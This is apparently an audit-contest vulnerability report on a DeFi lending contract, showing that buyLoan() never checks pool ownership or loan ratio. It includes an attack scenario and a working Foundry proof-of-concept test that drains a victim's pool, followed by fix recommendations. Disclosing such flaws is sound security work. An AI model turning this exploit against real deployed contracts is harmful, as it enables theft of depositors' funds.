20,000 USDC
View results
Submission Details
Severity: high
Valid

Insufficient input validation in `buyLoan()` allows the attacker to steal any pool from the protocol

Summary

The buyLoan() method in the Lender contract allows anyone to buy the loan from an auction, as long as they have a sufficient pool. The method takes two parameters - loanId, which is an ID of the loan to buy, and the poolId, which is the ID of the pool to which the loan will be transferred. The problem is that the method never checks if the caller is an owner of the pool, which means that anyone can buy loans from the auction on behalf of someone else without permission. Furthermore, the method never checks if the loan terms (specifically the debt/collateral ratio) is compatible with the pool's settings (specifically the maxLoanRatio). Those two issues combined open a way for the attacker to steal funds from any pool in the protocol.

Vulnerability Details

Scenario

Please consider the following scenario:

  1. The attacker notices that there is a WETH/USDC pool in the protocol with 1 million WETH deposited as a loan token by some whale. The pool's terms specify that for each 1 WETH borrowed the borrower has to put 4000 USDC as a collateral.

  2. The attacker creates their own WETH/USDC pool with 1,000 WETH, specifying a very high loanRatio, effectively allowing the borrowing from their pool without barely any collateral at all.

  3. The attacker borrows all 1,000 WETH from their pool for just 1 USDC of collateral.

  4. The attacker puts their loan at an auction. Given the malicious terms of the loan, nobody would be willing to buy it.

  5. The attacker waits until the auction's rate matches the whale's pool interestRate and calls the buyLoan() method, passing the whale's poolID.

  6. The whale has just bougth a loan of 1,000 WETH for just 1 USDC of a collateral (even though he's not aware of it and the loan violates his pool's terms).

  7. The attacker repeats 2-6 until the pool is fully drained, stealing the whale's deposit (minus protocol fees) for minimal collateral.

  8. The attacker can now repeat 2-7 for every pool in the protocol, effectively stealing all of the deposits.

POC

The code below demonstrates the described attack vector. Save it as a .t.sol file under test/ folder (for example, /test/ExploitStealPool.t.sol), and run it with the following command: forge test --match-test testAttackerStealsPool.

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {ERC777, IERC1820Registry} from "lib/openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import {ERC20Mock} from "lib/openzeppelin-contracts/contracts/mocks/ERC20Mock.sol";
import {Lender} from "../src/Lender.sol";
import {Pool, Borrow} from "../src/utils/Structs.sol";
contract ExploitSetPoolReentrancy is Test {
uint256 private constant DEPOSIT = 1_000_000 ether;
/* Calculated fees, hardcoded for the POC's simplicity */
uint256 private constant BUY_FEE = 2853881270394174;
uint256 private constant PROTOCOL_FEE = 5000000271118720687446;
ERC20Mock private borrowToken; /* borrowToken can be any token in this attack vector */
ERC20Mock private lendToken; /* lendToken can be any token in this attack vector */
Lender private lender; /* The Beedle's Lender singleton contract */
address private WHALE = makeAddr("whale");
address private ATTACKER = makeAddr("attacker");
function setUp() external {
/* Deploy Lender singleton and token mocks */
lender = new Lender();
borrowToken = new ERC20Mock();
lendToken = new ERC20Mock();
/* Mint lend token and borrow token */
lendToken.mint(WHALE, DEPOSIT);
lendToken.mint(ATTACKER, DEPOSIT);
borrowToken.mint(ATTACKER, 1);
/* Approve the lender to spend the tokens */
vm.prank(WHALE);
lendToken.approve(address(lender), DEPOSIT);
vm.startPrank(ATTACKER);
lendToken.approve(address(lender), DEPOSIT);
borrowToken.approve(address(lender), 1);
vm.stopPrank();
/* Whale deposits WHALE_DEPOSIT into the protocol */
Pool memory whalesPool = Pool({
lender: WHALE,
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: DEPOSIT,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
vm.prank(WHALE);
lender.setPool(whalesPool);
}
/* For simplicity, in the POC the attacker creates a pool with deposit equal to whale's deposit minus fees,
so that they can steal the pool in one iteration */
function testAttackerStealsPool() external {
/* 0. Initial chain state assertion */
assertEq(lendToken.balanceOf(ATTACKER), DEPOSIT); /* Attacker has 1_000_000 lendTokens */
assertEq(lendToken.balanceOf(address(lender)), DEPOSIT); /* There is another 1_000_000 lendTokens in the protocol */
/* 1. Attacker see's whales pool of 1_000_000 lendTokens and creates his own pool of
(1_000_000 - fees) lendTokens with very high loanRatio */
vm.startPrank(ATTACKER);
uint256 attackersPoolBalance = DEPOSIT - BUY_FEE;
Pool memory attackersPool = Pool({
lender: ATTACKER,
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: attackersPoolBalance,
maxLoanRatio: type(uint256).max,
auctionLength: 1 days,
interestRate: 1,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(attackersPool);
/* 2. Attacker borrows everything from his own pool for 1 borrowToken */
Borrow memory borrow = Borrow({poolId: poolId, debt: attackersPoolBalance, collateral: 1});
Borrow[] memory borrowsList = new Borrow[](1);
borrowsList[0] = borrow;
lender.borrow(borrowsList);
/* 3. Attacker triggers an auction */
uint256 loanId = 0; // Hardcoded in the test for simplicity, but can be read from the emitted event
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = loanId;
lender.startAuction(loanIds);
/* 4. Waiting until the dutch auction will reach the whale's pool rate */
vm.warp(block.timestamp + 900 seconds);
/* 5. Attacker calls buyLoan() passing the whale's pool */
bytes32 whalesPoolId = lender.getPoolId(WHALE, address(lendToken), address(borrowToken));
lender.buyLoan(loanId, whalesPoolId);
/* 6. Whale just bought the malicious loan, the attacker has claimed his pool
for 1 borrowToken. Now attacker closes his pool to redeem funds */
Pool memory attackersModifiedPool = Pool({
lender: ATTACKER,
loanToken: address(lendToken),
collateralToken: address(borrowToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 0,
maxLoanRatio: type(uint256).max,
auctionLength: 1 days,
interestRate: 1,
outstandingLoans: 0
});
lender.setPool(attackersModifiedPool);
vm.stopPrank();
/* 7. Final chain state assertion */
assertEq(lendToken.balanceOf(ATTACKER), (2 * DEPOSIT) - PROTOCOL_FEE); /* Attacker has doubled his lendToken amount (minus fees) for just 1 borrowToken */
}
}

Impact

An attacker can steal the deposits from every pool in the protocol (minus protocol fees).

Tools Used

Manual review

Recommendations

In the buyLoan() method, validate if the msg.sender is the pool's lender. Consider also additional checks for the compatibility between the loan and pool settings (for example, revert if the loan ratio is bigger than the pool maxLoanRatio).

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.